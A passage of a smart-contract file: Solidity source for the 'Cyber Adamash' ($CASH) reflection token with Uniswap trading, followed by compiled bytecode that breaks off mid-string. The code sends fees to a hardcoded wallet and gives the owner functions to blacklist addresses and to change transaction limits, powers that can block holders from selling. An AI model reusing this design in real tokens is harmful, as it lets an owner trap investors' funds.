function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CyberAdamash is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Cyber Adamash";
string private constant _symbol = "$CASH";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal * 25 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x3d295a9E33E6993218969D1F36d595B18Abf0c7A);
_feeAddrWallet2 = payable(0x3d295a9E33E6993218969D1F36d595B18Abf0c7A);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 0;
_feeAddr2 = 16;
} else {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 6;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca146103d7578063c3c8cd8014610400578063c9567bf914610417578063cc653b441461042e578063dd62ed3e1461046b578063ff872602146104a857610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063bc337182146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c9190612f27565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612a6d565b6104fc565b6040516101999190612f0c565b60405180910390f35b3480156101ae57600080fd5b506101b761051a565b6040516101c491906130a9565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612a1e565b61052b565b6040516102019190612f0c565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612990565b610604565b005b34801561023f57600080fd5b506102486106f4565b604051610255919061311e565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612aea565b6106fd565b005b34801561029357600080fd5b5061029c6107af565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612990565b610821565b6040516102d291906130a9565b60405180910390f35b3480156102e757600080fd5b506102f0610872565b005b3480156102fe57600080fd5b506103076109c5565b6040516103149190612e3e565b60405180910390f35b34801561032957600080fd5b506103326109ee565b60405161033f9190612f27565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612a6d565b610a2b565b60405161037c9190612f0c565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612aa9565b610a49565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190612b3c565b610b99565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612b3c565b610c38565b005b34801561040c57600080fd5b50610415610cd7565b005b34801561042357600080fd5b5061042c610d51565b005b34801561043a57600080fd5b5061045560048036038101906104509190612990565b6112ad565b60405161046291906130a9565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906129e2565b6112f6565b60405161049f91906130a9565b60405180910390f35b3480156104b457600080fd5b506104bd61137d565b005b60606040518060400160405280600d81526020017f4379626572204164616d61736800000000000000000000000000000000000000815250905090565b6000610510610509611424565b848461142c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105388484846115f7565b6105f984610544611424565b6105f4856040518060600160405280602881526020016137b960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa611424565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca59092919063ffffffff16565b61142c565b600190509392505050565b61060c611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090612fe9565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610705611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078990612fe9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f0611424565b73ffffffffffffffffffffffffffffffffffffffff161461081057600080fd5b600047905061081e81611d09565b50565b600061086b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e04565b9050919050565b61087a611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe90612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2443415348000000000000000000000000000000000000000000000000000000815250905090565b6000610a3f610a38611424565b84846115f7565b6001905092915050565b610a51611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590612fe9565b60405180910390fd5b60005b8151811015610b9557600160076000848481518110610b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8d906133bf565b915050610ae1565b5050565b610ba1611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612fe9565b60405180910390fd5b8060118190555050565b610c40611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490612fe9565b60405180910390fd5b8060118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d18611424565b73ffffffffffffffffffffffffffffffffffffffff1614610d3857600080fd5b6000610d4330610821565b9050610d4e81611e72565b50565b610d59611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90612fe9565b60405180910390fd5b601060149054906101000a900460ff1615610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061142c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0c57600080fd5b505afa158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4491906129b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde91906129b9565b6040518363ffffffff1660e01b8152600401610ffb929190612e59565b602060405180830381600087803b15801561101557600080fd5b505af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906129b9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d630610821565b6000806110e16109c5565b426040518863ffffffff1660e01b815260040161110396959493929190612eab565b6060604051808303818588803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111559190612b65565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611257929190612e82565b602060405180830381600087803b15801561127157600080fd5b505af1158015611285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a99190612b13565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611385611424565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611412576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140990612fe9565b60405180910390fd5b683635c9adc5dea00000601181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149390613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150390612f89565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ea91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90612f49565b60405180910390fd5b6000811161171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190613009565b60405180910390fd5b6117238361216c565b6117f4576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c457504262015180600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c191906131df565b10155b156117de576000600b819055506010600c819055506117ef565b6000600b819055506008600c819055505b611892565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118815742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002600b819055506006600c819055505b61189a6109c5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190857506118d86109c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ba57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a655750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad35750601060179054906101000a900460ff165b15611bdb5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b2357600080fd5b601154811115611b3257600080fd5b60125481611b3f84610821565b611b4991906131df565b1115611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613089565b60405180910390fd5b601e42611b9791906131df565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be630610821565b9050601060159054906101000a900460ff16158015611c535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6b5750601060169054906101000a900460ff165b15611c9357611c7981611e72565b60004790506000811115611c9157611c9047611d09565b5b505b505b611ca08383836121c6565b505050565b6000838311158290611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49190612f27565b60405180910390fd5b5060008385611cfc91906132c0565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d596002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d84573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dd56002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e00573d6000803e3d6000fd5b5050565b6000600954821115611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290612f69565b60405180910390fd5b6000611e55612220565b9050611e6a81846121d690919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ed0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611efe5781602001602082028036833780820191505090505b5090503081600081518110611f3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fde57600080fd5b505afa158015611ff2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201691906129b9565b81600181518110612050577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161211b9594939291906130c4565b600060405180830381600087803b15801561213557600080fd5b505af1158015612149573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6121d183838361224b565b505050565b600061221883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612416565b905092915050565b600080600061222d612479565b9150915061224481836121d690919063ffffffff16565b9250505090565b60008060008060008061225d876124db565b9550955095509550955095506122bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239c816125eb565b6123a684836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161240391906130a9565b60405180910390a3505050505050505050565b6000808311829061245d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124549190612f27565b60405180910390fd5b506000838561246c9190613235565b9050809150509392505050565b600080600060095490506000683635c9adc5dea0000090506124af683635c9adc5dea000006009546121d690919063ffffffff16565b8210156124ce57600954683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a600b54600c546126e2565b9250925092506000612508612220565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca5565b905092915050565b600080828461259c91906131df565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612fa9565b60405180910390fd5b8091505092915050565b60006125f5612220565b9050600061260c828461280190919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260095461254390919063ffffffff16565b6009819055506126d881600a5461258d90919063ffffffff16565b600a819055505050565b60008060008061270e6064612700888a61280190919063ffffffff16565b6121d690919063ffffffff16565b90506000612738606461272a888b61280190919063ffffffff16565b6121d690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612791858961280190919063ffffffff16565b905060006127a8868961280190919063ffffffff16565b905060006127bf878961280190919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128145760009050612876565b600082846128229190613266565b90508284826128319190613235565b14612871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286890612fc9565b60405180910390fd5b809150505b92915050565b600061288f61288a8461315e565b613139565b905080838252602082019050828560208602820111156128ae57600080fd5b60005b858110156128de57816128c488826128e8565b8452602084019350602083019250506001810190506128b1565b5050509392505050565b6000813590506128f781613773565b92915050565b60008151905061290c81613773565b92915050565b600082601f83011261292357600080fd5b813561293384826020860161287c565b91505092915050565b60008135905061294b8161378a565b92915050565b6000815190506129608161378a565b92915050565b600081359050612975816137a1565b92915050565b60008151905061298a816137a1565b92915050565b6000602082840312156129a257600080fd5b60006129b0848285016128e8565b91505092915050565b6000602082840312156129cb57600080fd5b60006129d9848285016128fd565b91505092915050565b600080604083850312156129f557600080fd5b6000612a03858286016128e8565b9250506020612a14858286016128e8565b9150509250929050565b600080600060608486031215612a3357600080fd5b6000612a41868287016128e8565b9350506020612a52868287016128e8565b9250506040612a6386828701612966565b9150509250925092565b60008060408385031215612a8057600080fd5b6000612a8e858286016128e8565b9250506020612a9f85828601612966565b9150509250929050565b600060208284031215612abb57600080fd5b600082013567ffffffffffffffff811115612ad557600080fd5b612ae184828501612912565b91505092915050565b600060208284031215612afc57600080fd5b6000612b0a8482850161293c565b91505092915050565b600060208284031215612b2557600080fd5b6000612b3384828501612951565b91505092915050565b600060208284031215612b4e57600080fd5b6000612b5c84828501612966565b91505092915050565b600080600060608486031215612b7a57600080fd5b6000612b888682870161297b565b9350506020612b998682870161297b565b9250506040612baa8682870161297b565b9150509250925092565b6000612bc08383612bcc565b60208301905092915050565b612bd5816132f4565b82525050565b612be4816132f4565b82525050565b6000612bf58261319a565b612bff81856131bd565b9350612c0a8361318a565b8060005b83811015612c3b578151612c228882612bb4565b9750612c2d836131b0565b925050600181019050612c0e565b5085935050505092915050565b612c5181613306565b82525050565b612c6081613349565b82525050565b6000612c71826131a5565b612c7b81856131ce565b9350612c8b81856020860161335b565b612c9481613495565b840191505092915050565b6000612cac6023836131ce565b9150612cb7826134a6565b604082019050919050565b6000612ccf602a836131ce565b9150612cda826134f5565b604082019050919050565b6000612cf26022836131ce565b9150612cfd82613544565b604082019050919050565b6000612d15601b836131ce565b9150612d2082613593565b602082019050919050565b6000612d386021836131ce565b9150612d43826135bc565b604082019050919050565b6000612d5b6020836